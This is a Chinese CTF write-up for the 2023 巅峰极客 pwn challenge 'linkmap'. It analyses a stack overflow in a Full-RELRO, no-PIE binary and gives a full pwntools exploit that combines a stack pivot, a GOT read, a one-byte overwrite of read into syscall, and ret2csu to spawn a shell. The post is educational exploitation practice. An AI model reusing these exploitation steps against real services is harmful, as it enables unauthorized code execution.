2023巅峰极客 Pwn | linkmap
没做出来,于是来研究别人的writeup。
https://mp.weixin.qq.com/s/fG17e1JEvva-WKb0fxOFUA
分析
main函数很明显的栈溢出:
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char buf[16]; // [rsp+0h] [rbp-10h] BYREF
setvbuf_();
read(0, buf, 0x100uLL);
return 0LL;
}
查看保护机制:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Full Relro,没办法用ret2dl-resolve。又没有打印函数,没办法泄露libc地址。
ida查看其他函数,
__int64 __fastcall sub_400606(int a1, int a2, int a3)
{
__int64 result; // rax
__int64 v4; // [rsp+14h] [rbp-8h]
v4 = *(_QWORD *)(qword_601040 + a1); // 以0x601040为起始地址,a1作为偏移地址,将任意地址的8字节数据写入v4
// 有趣的是,qword_601040处恰好为0,于是a1是什么就将那的地址写入到qwrod_601040
qword_601040 = v4; // v4的值又写回到qword_601040
result = (unsigned int)a1;
dword_601048 = a1;
if ( a2 == 1 ) // a2作为控制信号,当为1时,将获取到的值写入以0x601028为起始地址的数组,索引号为参数a3
{
result = v4;
qword_601028[a3] = v4;
}
else if ( !a2 ) // 当为0时,将获取到的值写入以0x601020为起始地址的数组,索引号为参数a3
{
result = v4;
qword_601020[a3] = v4;
}
return result;
}
这个函数比较容易理解,以0x601040为起始地址,参数a1作为偏移地址,获取该地址的值传给v4,然后又写回到0x601040。后面的if并没有对0x601040进行修改,并且以参数a2真假作为判断条件,以参数a3作为偏移,分别以0x601028、0x601020作为起始地址,用v4进行赋值。
调试的时候发现0x601040处为0,所以a1就是要获取的值的地址,也就是在这可以实现任意地址获取,并写入到data段。我们可以用这个来获取got表中的read函数真实地址。而read函数与syscall的偏移是0x10。
于是思路如下:
- 将栈迁移到.bss段
- 调用sub_400606函数,参数a1=read函数的got地址,a2,a3随便,后面只调用0x601040
- 通过修改写入地址,用read函数修改0x601040的低地址,read的16位真实地址的最低三位为0x980,则syscall的是0x990,读入一个‘\x90'足以覆盖最低位。
- syscall调用execve("/bin/sh",0,0),参数需赋值:rax=59,rdi="/bin/sh",rsi=0,rdx=0
- 发送shell命令
exp
#coding:utf8
from pwn import *
context.log_level='debug'
io=process('./ezzzz')
gdb.attach(io)
# io=remote("pwn-12b3fb054a.challenge.xctf.org.cn", 9999, ssl=True)
pop_rdi=0x4007E3
pop_rsi=0x4007E1 # pop rsi ; pop r15 ; ret
# .text:0000000000400752 lea rax, [rbp+buf]
# .text:0000000000400756 mov edx, 100h ; nbytes
# .text:000000000040075B mov rsi, rax ; buf
# .text:000000000040075E mov edi, 0 ; fd
# .text:0000000000400763 mov eax, 0
# .text:0000000000400768 call read
# .text:000000000040076D mov eax, 0
# .text:0000000000400772 leave ---> mov rsp,rbp; pop rbp;
# .text:0000000000400773 retn ---> pop sp;
pay=b'a'*0x10+p64(0x601c00)+p64(0x400752) # 0x601c00作为新的rbp
io.send(pay) # 这里是再次read,然后栈迁移
pause()
sleep(1)
pay=b'/bin/sh\x00'+p64(59)+p64(0x601c00)
pay+=p64(pop_rdi)+p64(0x600fd8)+p64(pop_rsi) # read的got地址:0x600fd8
pay+=p64(1)*2+p64(0x400606)+p64(0x400510) # __libc_start_main的地址0x400510
# 这段pay将写入0x601bf0 = 0x601c00 - 0x10
io.send(pay)
# 0x601828和0x601040处将写入read的真实地址
# 0x601828 = 0x601028 + 0x100 * 8,0x100是read的第三个参数,一直没变,单位是qword,所以乘以8
pause()
pay=b'/bin/sh\x00'+p64(59)+p64(0x601c00)
pay+=p64(pop_rdi)+p64(0)+p64(pop_rsi)
pay+=p64(0x601040)*2+p64(0x4004e0)+p64(0x400510) # read_plt=0x4004e0
# 往0x601040写入东西
sleep(0.5)
io.send(pay)
pause()
sleep(0.5)
io.send('\x90') # 将0x7fb01ed14980 (read) 变成 0x7fb01ed14990 (syscall)
pause()
# .text:00000000004007DA pop rbx
# .text:00000000004007DB pop rbp
# .text:00000000004007DC pop r12
# .text:00000000004007DE pop r13
# .text:00000000004007E0 pop r14
# .text:00000000004007E2 pop r15
# .text:00000000004007E4 retn
pay=b'/bin/sh\x00'+p64(59)+p64(0x601c00) # 始终让rbp为0x601c00,作为锚点,/bin/sh\x00的位置在rbp-0x10=0x601bf0
pay+=p64(pop_rdi)+p64(0)+p64(pop_rsi)
pay+=p64(0x6010d0)*2+p64(0x4004e0)+p64(0x4007DA)
pay+=p64(0)+p64(1)+p64(0x601040)+p64(0)+p64(0)+p64(0x601c00-0x10) # rbp=0x601c00,则读入的地方就是rbp-0x10
pay+=p64(0x4007C0) # ret2csu,任意地址call
# execve("/bin/sh",0,0)
# rax:59
# rdi:"/bin/sh"
# rsi:0
# rdx:0
sleep(0.5)
io.send(pay)
pause()
# gdb.attach(io)
sleep(0.5)
io.send(b'a'*0x3b) # why,59=0x3b,read函数读入后,返回值为读入字符串长度,存放至rax
# 先read了,再执行execve
pause()
# io.sendline('cat flag')
io.sendline('ls')
io.recv()
io.interactive()
总结
- 被题目名称误导了,以为是伪造linkmap(其实也不熟练),应该用ret2dl-resolve,但程序设定Full Relro保护,没办法用ret2dl-resolve
- 栈迁移真的妙!栈迁移时为了栈空间可控,可以不断把rbp固定为一个值,上面的exp就是把rbp固定成0x601c00。
- ret2csu也真爽!ret2csu其实可以封装成一个函数。
- 用read函数可以进行单字节的覆盖,它不会在输入的字符串后面自动加上\0,但scanf,gets和fgets会。
- 用read函数返回值来给rax赋值也很有意思。
- sub_400606函数给开了挂,但做的时候并没有太关注这些函数。除了这个直接改成syscall的方法,也可以改成puts函数进行libc地址泄露,变成ret2libc。
- read和syscall偏移是0x10,因为read其实是要通过syscall调用的
.text:0000000000114980 read proc near ; CODE XREF: sub_355E0+1BF↑p
.text:0000000000114980 ; _IO_file_read+11↑j ...
.text:0000000000114980
.text:0000000000114980 fd = qword ptr -20h
.text:0000000000114980 buf = qword ptr -18h
.text:0000000000114980 count = qword ptr -10h
.text:0000000000114980
.text:0000000000114980 ; __unwind {
.text:0000000000114980 endbr64 ; Alternative name is '__read'
.text:0000000000114984 mov eax, fs:18h
.text:000000000011498C test eax, eax
.text:000000000011498E jnz short loc_1149A0
.text:0000000000114990 syscall ; LINUX -
.text:0000000000114992 cmp rax, 0FFFFFFFFFFFFF000h
.text:0000000000114998 ja short loc_1149F0
.text:000000000011499A retn
- 看writeup时发现一个ida插件(不仅支持ida)——decomp2dbg:A plugin to introduce interactive symbols into your debugger from your decompiler
关于sub_400606
其汇编代码:
.text:0000000000400606 sub_400606 proc near
.text:0000000000400606
.text:0000000000400606 var_1C = dword ptr -1Ch
.text:0000000000400606 var_18 = dword ptr -18h
.text:0000000000400606 var_14 = dword ptr -14h
.text:0000000000400606 var_8 = qword ptr -8
.text:0000000000400606
.text:0000000000400606 ; __unwind {
.text:0000000000400606 push rbp
.text:0000000000400607 mov rbp, rsp
.text:000000000040060A mov [rbp+var_14], edi
.text:000000000040060D mov [rbp+var_18], esi
.text:0000000000400610 mov [rbp+var_1C], edx
.text:0000000000400613 mov rdx, cs:qword_601040
.text:000000000040061A mov eax, [rbp+var_14]
.text:000000000040061D cdqe
.text:000000000040061F add rax, rdx
.text:0000000000400622 mov rax, [rax]
.text:0000000000400625 mov [rbp+var_8], rax
.text:0000000000400629 mov rax, [rbp+var_8]
.text:000000000040062D mov cs:qword_601040, rax
.text:0000000000400634 mov eax, [rbp+var_14]
.text:0000000000400637 mov cs:dword_601048, eax
.text:000000000040063D cmp [rbp+var_18], 1
.text:0000000000400641 jnz short loc_40065C
.text:0000000000400643 mov eax, [rbp+var_1C]
.text:0000000000400646 cdqe
.text:0000000000400648 shl rax, 3
.text:000000000040064C lea rdx, qword_601028[rax]
.text:0000000000400653 mov rax, [rbp+var_8]
.text:0000000000400657 mov [rdx], rax
.text:000000000040065A jmp short loc_400679
.text:000000000040065C ; ---------------------------------------------------------------------------
.text:000000000040065C
.text:000000000040065C loc_40065C: ; CODE XREF: sub_400606+3B↑j
.text:000000000040065C cmp [rbp+var_18], 0
.text:0000000000400660 jnz short loc_400679
.text:0000000000400662 mov eax, [rbp+var_1C]
.text:0000000000400665 cdqe
.text:0000000000400667 shl rax, 3
.text:000000000040066B lea rdx, qword_601020[rax]
.text:0000000000400672 mov rax, [rbp+var_8]
.text:0000000000400676 mov [rdx], rax
.text:0000000000400679
.text:0000000000400679 loc_400679: ; CODE XREF: sub_400606+54↑j
.text:0000000000400679 ; sub_400606+5A↑j
.text:0000000000400679 nop
.text:000000000040067A pop rbp
.text:000000000040067B retn
.text:000000000040067B ; } // starts at 400606
.text:000000000040067B sub_400606 endp
在调试上面的exp的时候,发送第二段payload:
pay=b'/bin/sh\x00'+p64(59)+p64(0x601c00)
pay+=p64(pop_rdi)+p64(0x600fd8)+p64(pop_rsi) # read的got地址:0x600fd8
pay+=p64(1)*2+p64(0x400606)+p64(0x400510)
此处传给sub_400606函数的第一个参数是0x600fd8,是read的got地址。
而若看ida对sub_400606的反汇编代码:
v4 = *(_QWORD *)(qword_601040 + a1);
qword_601040是一个地址为0x601040的空间,其值为0。所以上面的代码等价于:
v4 = *(_QWORD *)a1;
所以当传参a1为0x600df8时,v4为地址0x600df8上的值,即read的真实地址。